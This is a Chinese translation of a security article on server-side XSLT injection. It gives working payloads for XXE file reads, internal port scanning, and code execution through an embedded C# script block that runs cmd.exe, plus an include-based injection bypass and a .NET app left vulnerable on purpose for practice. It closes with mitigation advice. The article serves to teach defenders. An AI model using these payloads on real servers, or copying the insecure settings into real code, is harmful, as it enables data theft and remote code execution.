XSLT 服務端注入攻擊

Editor發表於2017-12-05

前言

XSLT(擴充套件樣式錶轉換語言)漏洞可能會給那些受到影響的應用帶來嚴重的後果,經常會導致遠端程式碼執行。

舉幾個已被公開的 XSLT 遠端程式碼執行漏洞的例子,CVE-2012-5357 影響了 .NET Ektron CMS;CVE-2012-1592 影響了Apache Struts 2.0;CVE-2005-3757 影響了 Google 搜尋應用。

從上面的例子可以看出,XSLT 漏洞可謂是由來已久,但是它並不像一些類似的漏洞(例如 XML 漏洞)那樣常見。儘管我們經常在我們的安全評估中看到它的身影,但是有關該漏洞及其相關利用技術的文章卻並不多見。

本文將通過展示一些經過精心挑選的XSLT 攻擊來說明這種技術以不安全的方式使用時所存在的風險。例如:遠端執行任意程式碼、竊取遠端系統資料、執行網路埠掃描以及獲取受害者內部網路資源。本文還會提供一個簡單的易受攻擊的 .NET 應用,可用於練習本文中所展示攻擊,最後提供幾條規避 XSLT 漏洞的建議。

什麼是 XSLT ?

XSLT(擴充套件樣式錶轉換語言)是一種對 XML 文件進行轉化的語言。XML 文件通過 XSLT 轉化後可以變成為另一份不同的 XML 文件,或者其他型別的文件,例如 HTML 文件、 CSV 檔案、純文字檔案等。

XSLT 通常用於轉換被不同應用加工過的檔案格式,還有就是作為一個模板引擎。許多企業級應用廣泛地使用了 XSLT ,例如一個多租戶發票應用可能會允許客戶使用 XSLT 來高度定製他們的發票,比如根據自己的特殊需要來改變發票內容和發票格式。

其他一些常見的 XSLT 應用場景:

報導

將資料以不同的格式匯出

列印

發郵件

在展示攻擊之前,我們不妨先通過一個簡單的例子看看這個轉化到底是怎麼回事。以下面這段包含了一些水果名及相關介紹的 XML 文件為例。

<?xml version="1.0" ?>
<fruits>
 <fruit>
   <name>Lemon</name>
   <description>Yellow and sour</description>
 </fruit>
 <fruit>
   <name>Watermelon</name>
   <description>Round, green outside, red inside</description>
 </fruit>
</fruits>

為了將該 XML 文件轉化為純文字文件,可使用如下 XSL 文件:

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 <xsl:template match="/fruits">
   Fruits:
   <!-- Loop for each fruit -->
   <xsl:for-each select="fruit">
     <!-- Print name: description -->
     - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
   </xsl:for-each>
 </xsl:template>
</xsl:stylesheet>

轉換結果如下:

Fruits:
     - Lemon: Yellow and sour
     - Watermelon: Round, green outside, red inside

(譯註:可參考XSLT - 轉換)

XSLT 服務端注入攻擊

本部分會展示一套測試應用是否存在 XSLT 漏洞的方法,覆蓋了從發現到利用的全過程。例子是一個使用微軟 System.Xml XSLT 實現的易受攻擊的應用。類似的技術同樣可應用於一些其他的常見的庫,如 Libxslt 、 Saxon 、 Xalan 。

找到切入點

第一步是定位應用可能存在漏洞的地方。

最簡單的情景就是應用允許使用者上傳任意 XSLT 檔案。如果上述情景不存在,一個易受攻擊的應用可能會使用不可信的使用者輸入動態地生成 XSLT 文件。例如,該應用可能會生成如下的 XSLT 文件,字串"Your Company Name Here"這裡對應的就是不可信的使用者輸入。

<?xml version=”1.0” encoding=”utf-8”?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 <xsl:template match="/fruits">
   Your Company Name Here
   Fruits:
   <!-- Loop for each fruit -->
   <xsl:for-each select="fruit">
     <!-- Print name: description -->
     - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
   </xsl:for-each>
 </xsl:template>
 <xsl:include href="external_transform.xslt"/>
</xsl:stylesheet>

為了驗證該應用是否是易受攻擊的,我們通常會插入一些會導致 XML 檔案語法錯誤的字元,例如雙引號、單引號和尖括號{", ', <, >}。如果伺服器會返回錯誤,那麼這個應用就有可能是易受攻擊的。一般而言,這種定位技術與定位 XML 注入漏洞的技術類似。

後面將要提到的攻擊中有一些僅在檔案的特定區域注入時才有效。不過別擔心,本文也會展示一種利用 import 和 include 功能來繞開這種限制的技術。

為了使文章簡單易懂,除非另有說明,在接下來的例子中我們將假設我們可以嚮應用提交任意的 XSLT 文件。

使用 system-property() 函式提取指紋

一旦找到了攻擊切入點,接下來提取系統指紋和明確應用正在使用的 XSLT 庫是非常有必要的。

在進行攻擊之前,如果知曉了應用所使用的 XSLT 庫是十分有用地。因為不同的庫支援的 XSLT 功能不同,所以可能存在這樣的情況,一個功能在這個庫中是可以使用的,但是換成另一個庫中卻無法使用了。專有擴充套件通常都不支援庫間相容。此外,不同的庫的預設設定可能存在較大差異,通常來說,舊的庫會預設啟用一些存在風險的功能,但是新的庫則要求開發者在需要時手動開啟這些功能。

使用 system-property() 函式可以查出一個庫的供應商名稱,這是 XSLT v1.0 標準的一部分,所有的庫都支援該功能。該函式有效的引數有:

xsl:vendor

xsl:vendor-url

xsl:version

下面的 XSL 文件可用於查出庫的供應商:

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 <xsl:template match="/fruits">
   <xsl:value-of select="system-property('xsl:vendor')"/>
 </xsl:template>
</xsl:stylesheet>

由於本文的被測試應用使用的是 .NET System.xml ,因此返回值是 Microsoft 。

使用 XML 外部實體(XXE)竊取資訊、掃描埠

由於 XSLT 所使用的檔案格式是 XML ,那麼常見的針對 XML 的攻擊,例如十億笑攻擊(也稱 XML 炸彈)和 XML 外部實體攻擊,也會影響到 XSLT 就不足為奇了。十億笑攻擊是一種拒絕服務攻擊,其目的在於耗盡伺服器的記憶體資源。為了更契合主題,本文采用的是 XML 外部實體攻擊。

在下面的例子中,我們使用了一個外部實體讀取 "C:\secretfruit.txt" 檔案中的內容。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "C:\secretfruit.txt">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 <xsl:template match="/fruits">
   Fruits &ext_file;:
   <!-- Loop for each fruit -->
   <xsl:for-each select="fruit">
     <!-- Print name: description -->
     - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
   </xsl:for-each>
 </xsl:template>
</xsl:stylesheet>

ENTITY 元素放置的是 "ext_file" 所引用的檔案中的內容,也就是我們接下來使用語法 "&ext_file" 列印到主文件中的內容。從輸出結果可以看出該檔案中的祕密內容就是 "Golden Apple" :

Fruits Golden Apple:
     - Lemon: Yellow and sour
     - Watermelon: Round, green outside, red inside

這項技術可被用來取出儲存在 Web 伺服器上的檔案,或者那些正常情況下攻擊者無法訪問的內部網路的網頁,而這些檔案有可能是包含身份資訊的配置檔案或者包含其他敏感資訊的檔案。

對於那些可以從受害者內部網路中的其他系統中取出的檔案,攻擊者也可以使用 UNC 路徑 {\\servername\share\file} 或者 URL {http://servername/file} 來代替檔案路徑。

使用一些 IP 地址和埠號或許還能查出一個遠端埠是開啟狀態還是關閉狀態,不過這一點取決於應用是如何應答的,比方說應用可以返回不同種類的錯誤資訊或者在應答中顯示時延資訊。

下面的 XSLT 文件使用了 URL http://172.16.132.1:25 :

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "http://172.16.132.1:25">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 <xsl:template match="/fruits">
   Fruits &ext_file;:
   <!-- Loop for each fruit -->
   <xsl:for-each select="fruit">
     <!-- Print name: description -->
     - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
   </xsl:for-each>
 </xsl:template>
</xsl:stylesheet>

下圖展示了當我們試圖連線到該 URL 時,應用返回的錯誤資訊。透過該錯誤資訊不難推斷出25號埠處於關閉狀態。

XSLT 服務端注入攻擊

當我們使用 http://172.16.132.1:1234 時,應用返回了不同的錯誤資訊,透過該錯誤資訊可以推斷出1234號埠處於開啟狀態。

XSLT 服務端注入攻擊

攻擊者可以使用這種技術對受害者的內部網路進行偵察掃描。

使用 document() 函式竊取資訊、掃描埠

document() 函式賦予了 XSLT 文件訪問外部 XML 文件中除了主資料來源之外的資料的能力。

通過將所有內容複製到轉換結果中,該函式可以被濫用於讀取遠端系統上的檔案。被讀取的檔案需要是一個格式正確的 XML 文件,但這基本上不算問題,因為敏感資訊通常就是被儲存在 XML 檔案中。例如 ASP .NET Web 應用中的 web.config 檔案就是一個很好的目標,因為該檔案可能包含了資料庫證照。

看一個例子。下面的 XSLT 文件可用於竊取 "C:\secrectfruit.xml" 檔案中的內容:

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 <xsl:template match="/fruits">
   <xsl:copy-of select="document('C:\secretfruit.xml')"/>
   Fruits:
       <!-- Loop for each fruit -->
   <xsl:for-each select="fruit">
     <!-- Print name: description -->
     - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
   </xsl:for-each>
 </xsl:template>
</xsl:stylesheet>

轉換結果在頂部顯示了該祕密檔案中的內容。

<fruits>
 <fruit>
   <name>Golden Apple</name>
   <description>Round, made of Gold</description>
 </fruit>
</fruits>
   Fruits:
     - Lemon: Yellow and sour
     - Watermelon: Round, green outside, red inside

與 XXE 攻擊類似,document() 函式可被用於取出遠端系統中的文件,也可使用 UNC 路徑或者 URL 進行簡單的埠掃描。下面是一個使用 URL 執行埠掃描的 XSLT 文件:

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 <xsl:template match="/fruits">
   <xsl:copy-of select="document('http://172.16.132.1:25')"/>
   Fruits:
       <!-- Loop for each fruit -->
   <xsl:for-each select="fruit">
     <!-- Print name: description -->
     - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
   </xsl:for-each>
 </xsl:template>
</xsl:stylesheet>

使用嵌入式指令碼塊進行遠端程式碼執行

嵌入式指令碼塊屬於專有 XSLT 擴充套件的功能,允許將程式碼直接包含在 XSLT 文件中。例如在微軟的實現中,可以包含 C# 程式碼。當文件被解析後,包含在其中的程式碼會被遠端伺服器編譯執行。

下面這個 XSLT 文件就是一個 PoC ,功能為列出當前工作目錄下所有檔案。

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="urn:my-scripts">
<msxsl:script language = "C#" implements-prefix = "user">
<![CDATA[
public string execute(){
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName= "C:\\windows\\system32\\cmd.exe";
proc.StartInfo.RedirectStandardOutput = true;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.Arguments = "/c dir";
proc.Start();
proc.WaitForExit();
return proc.StandardOutput.ReadToEnd();
}
]]>
</msxsl:script>
 <xsl:template match="/fruits">
 --- BEGIN COMMAND OUTPUT ---
   <xsl:value-of select="user:execute()"/>
 --- END COMMAND OUTPUT ---   
 </xsl:template>
</xsl:stylesheet>

首先我們在 "xsl:stylesheet" 標籤中定義了兩個新的 XML 字首。第一個 "xmlns:msxsl" 啟用了微軟的專有架構擴充套件,第二個 "xmlns:user" 宣告瞭一個通過 "msxsl:script" 指令碼塊實現的使用者自定義擴充套件。

上述 C# 程式碼實現了一個 execute() 函式,該函式先執行了命令"cmd.exe /c dir",然後以字串的形式返回了該命令的輸出。

最後該函式在"xsl:value-of"標籤中被呼叫。

上述轉換的結果其實與在 Windows 命令列中使用命令 "dir" 的輸出一模一樣。

--- BEGIN COMMAND OUTPUT ---
        Volume in drive C has no label.
Volume Serial Number is EC7C-74AD
Directory of C:\Users\context\Documents\Visual Studio 2015\Projects\XsltConsole
Application\XsltConsoleApplication\bin\Debug
22/02/2017  15:19    <DIR>          .
22/02/2017  15:19    <DIR>          ..
22/02/2017  13:30               258 data.xml
22/02/2017  14:48               233 external_transform.xslt
22/02/2017  15:15                12 secretfruit.txt
31/01/2017  13:45               154 secretfruit.xml
22/02/2017  15:29               831 transform.xslt
22/02/2017  13:49             7,168 XsltConsoleApplication.exe
26/01/2017  15:42               189 XsltConsoleApplication.exe.config
22/02/2017  13:49            11,776 XsltConsoleApplication.pdb
              8 File(s)         20,621 bytes
              2 Dir(s)   9,983,107,072 bytes free
 --- END COMMAND OUTPUT ---

江湖救急:import 、include

import 和 include 標籤可被用於關聯多個 XSLT 文件。

如果我們遇到了這樣的情況:只能在XSLT 文件中間部分注入。這樣一來,便不能直接使用 XML 外部實體攻擊或者嵌入式指令碼塊了,因為這兩者都需要注入點在檔案的最頂端。

此時,import 和 include 便可用來克服此類限制,具體來講就是給該 XSLT 文件關聯一個外部文件。當外部文件被載入後,整個文件會被解析,如果攻擊者可以控制這個外部文件,那他們就可以在該外部文件中使用 XML 外部實體或嵌入式指令碼了。這個外部文件可以是提前上傳到伺服器的檔案,也可以是一個使用 URL 引用的位於攻擊者電腦上的檔案,只要檔案內容是 XML即可。

值得注意的是,"xsl:import" 標籤只能作為 "xsl:stylesheet" 標籤的第一個孩子使用,但是 "xsl:include" 標籤則沒有此限制。

此處使用了與之前一模一樣的 XSLT 文件,同時假設我們只能在字串 "Your Company Name Here" 這裡注入。

<?xml version=”1.0” encoding=”utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 <xsl:template match="/fruits">
   Your Company Name Here
   Fruits:
       <!-- Loop for each fruit -->
   <xsl:for-each select="fruit">
     <!-- Print name: description -->
     - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
   </xsl:for-each>
 </xsl:template>
 <xsl:include href="external_transform.xslt"/>
</xsl:stylesheet>

我們想要關聯下面名為 "external_transform.xslt" 的外部 XSLT 文件。為了簡化問題,此處該外部文件只是簡單地列印了一條訊息。但是值得一提的是,該外部文件可以替換為前面已經介紹過任意一個 XSLT 文件,包括那些需要在檔案最頂部宣告的文件,比如那個不能在此處直接使用的包含了嵌入式指令碼塊的文件。

<?xml version=”1.0” encoding=”utf-8”?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
   <xsl:template match="/">
    Hello from the external transformation
   </xsl:template>
</xsl:stylesheet>

為了包含外部文件,我們需要插入以下標籤。

<xsl:include href="external_transform.xslt"/>

但是這裡有個問題,那就是 "xsl:include"標籤不能被包含在 "xsl:template" 標籤之內,同時插入 include 標籤的檔案還必須是一個格式正確的 XML 檔案。

所以,第一步我們要做的就是關閉 "xsl:template" 標籤,然後我們才能插入 "xsl:include" 標籤,這樣就滿足了第一個條件。但是為了滿足第二個條件,我們又需要在插入 "xsl:include" 標籤之後重新開啟 "xsl:template" 標籤。於是最後的結果變成了這個樣子:

</xsl:template><xsl:include href="external_transform.xslt"/><xsl:template name="a">

完成注入後,最終 XSLT 文件差不多如下:

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 <xsl:template match="/fruits">
   </xsl:template><xsl:include href="external_transform.xslt"/><xsl:template name="a">
   Fruits:
   <!-- Loop for each fruit -->
   <xsl:for-each select="fruit">
     <!-- Print name: description -->
     - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
   </xsl:for-each>
 </xsl:template>
 <xsl:include href="external_transform.xslt"/>
</xsl:stylesheet>

轉換執行後會產生如下輸出:

Hello from the external transformation

一個易受 XSLT 攻擊的 APP

XSLT 漏洞到此已經介紹完畢,但是想要寫出一個在實際情景中能夠奏效的利用漏洞的 XSLT 文件可能並不如想象中的那般容易,一方面因為要嚴格符合 XML 的語法規範,另一方面是因為我們往往不能把握應用的實現細節。你可能在想,要是有個現成的應用讓我練練手那該多好啊!

為此,我寫了個小型的易受攻擊的 .NET 控制檯應用,可用於對其前面我們所介紹的攻擊進行練習。該應用使用了 .NET 的 System.Xml 實現。原始碼已經貼在下面了,請使用微軟的 Visual Studio 編譯。原始碼和編譯好的應用也可從這裡下載。

using System;
using System.Xml;
using System.Xml.Xsl;
namespace XsltConsoleApplication
{
   class Program
   {
       /*
       This code contains serious vulnerabilities and is provided for training purposes only!
       DO NOT USE ANYWHERE FOR ANYTHING ELSE!!!
       */
       static void Main(string[] args)
       {
           Console.WriteLine("\n#####################################################################");
           Console.WriteLine("#                                                                   #");
           Console.WriteLine("# This is a Vulnerable-by-Design application to test XSLT Injection #");
           Console.WriteLine("#                                                                   #");
           Console.WriteLine("#####################################################################\n");
           Console.WriteLine("The application expects (in the current working directory):");
           Console.WriteLine(" - an XML file (data.xml) and\n - an XSLT style sheet (transform.xslt)\n");
           Console.WriteLine("===================================================================");
           String transformationXsltFileURI = "transform.xslt";
           String dataXMLFileURI = "data.xml";
           // Enable DTD processing to load external XML entities for both the XML and XSLT file
           XmlReaderSettings vulnerableXmlReaderSettings = new XmlReaderSettings();
           vulnerableXmlReaderSettings.DtdProcessing = DtdProcessing.Parse;
           vulnerableXmlReaderSettings.XmlResolver = new XmlUrlResolver();
           XmlReader vulnerableXsltReader = XmlReader.Create(transformationXsltFileURI, vulnerableXmlReaderSettings);
           XmlReader vulnerableXmlReader = XmlReader.Create(dataXMLFileURI, vulnerableXmlReaderSettings);
           XsltSettings vulnerableSettings = new XsltSettings();
           // Embedded script blocks and the document() function are NOT enabled by default
           vulnerableSettings.EnableDocumentFunction = true;
           vulnerableSettings.EnableScript = true;
           // A vulnerable settings class can also be created with:
           // vulnerableSettings = XsltSettings.TrustedXslt;
           XslCompiledTransform vulnerableTransformation = new XslCompiledTransform();
           // XmlUrlResolver is the default resolver for XML and XSLT and supports the file: and http: protocols
           XmlUrlResolver vulnerableResolver = new XmlUrlResolver();
           vulnerableTransformation.Load(vulnerableXsltReader, vulnerableSettings, vulnerableResolver);  
           XmlWriter output = new XmlTextWriter(Console.Out);
           // Run the transformation
           vulnerableTransformation.Transform(vulnerableXmlReader, output);   
       }
   }
}

請確保你在當前工作目錄下使用了名為 data.xml 和 transformation.xslt 的檔案(請檢視原始碼相應片段)。

小小的建議

如果你的應用中使用了 XSLT ,或許你可以從下面的指南中學到一些規避 XSLT 漏洞的方法。

儘可能避免使用使用者所提供的 XSLT 文件。

不要使用不可信的輸入來生成 XSLT 文件,例如連線字串。如果必須要使用非靜態值,則應將其包含在 XML 資料檔案中,並且只能由 XSLT 文件引用。

手動關閉正在使用的 XSLT 庫中所提供的一些有風險的功能,因為庫的預設設定一般都不太安全。查查庫手冊學習一下如何關閉那些有風險的功能,例如:XML外部實體、document{} 函式、import 和 include 標籤。確保禁用了嵌入式指令碼擴充套件,還有一些專有擴充套件所提供的允許讀寫外部檔案的功能。

推薦大家看一下這篇文章 XSLT Processing Security and Server Side Request Forgeries ,作者是 Emanuel Duss 和 Roland Bischofberger 。這篇文章對於流行的 XSLT 庫所實現的功能和每個庫的預設設定做了一個很好的梳理,第34頁還包含了一個對新手很友好的功能對比表格。

總結

XSLT作為一個強大的工具被眾多應用所使用,但是其脆弱的一面並不廣為人知。一份糟糕的程式碼中很有可能隱藏了可被攻擊者用來控制應用或竊取資料的漏洞。本文旨在通過展示一些可能受到的攻擊來提高大家對於XSLT 的認識,同時提供了一點指引幫助大家避免中招一些寫程式碼時比較常見的陷阱。


本文由看雪翻譯小組 hesir 編譯,來源contextis@David Turco 轉載請註明來自看雪社群

相關文章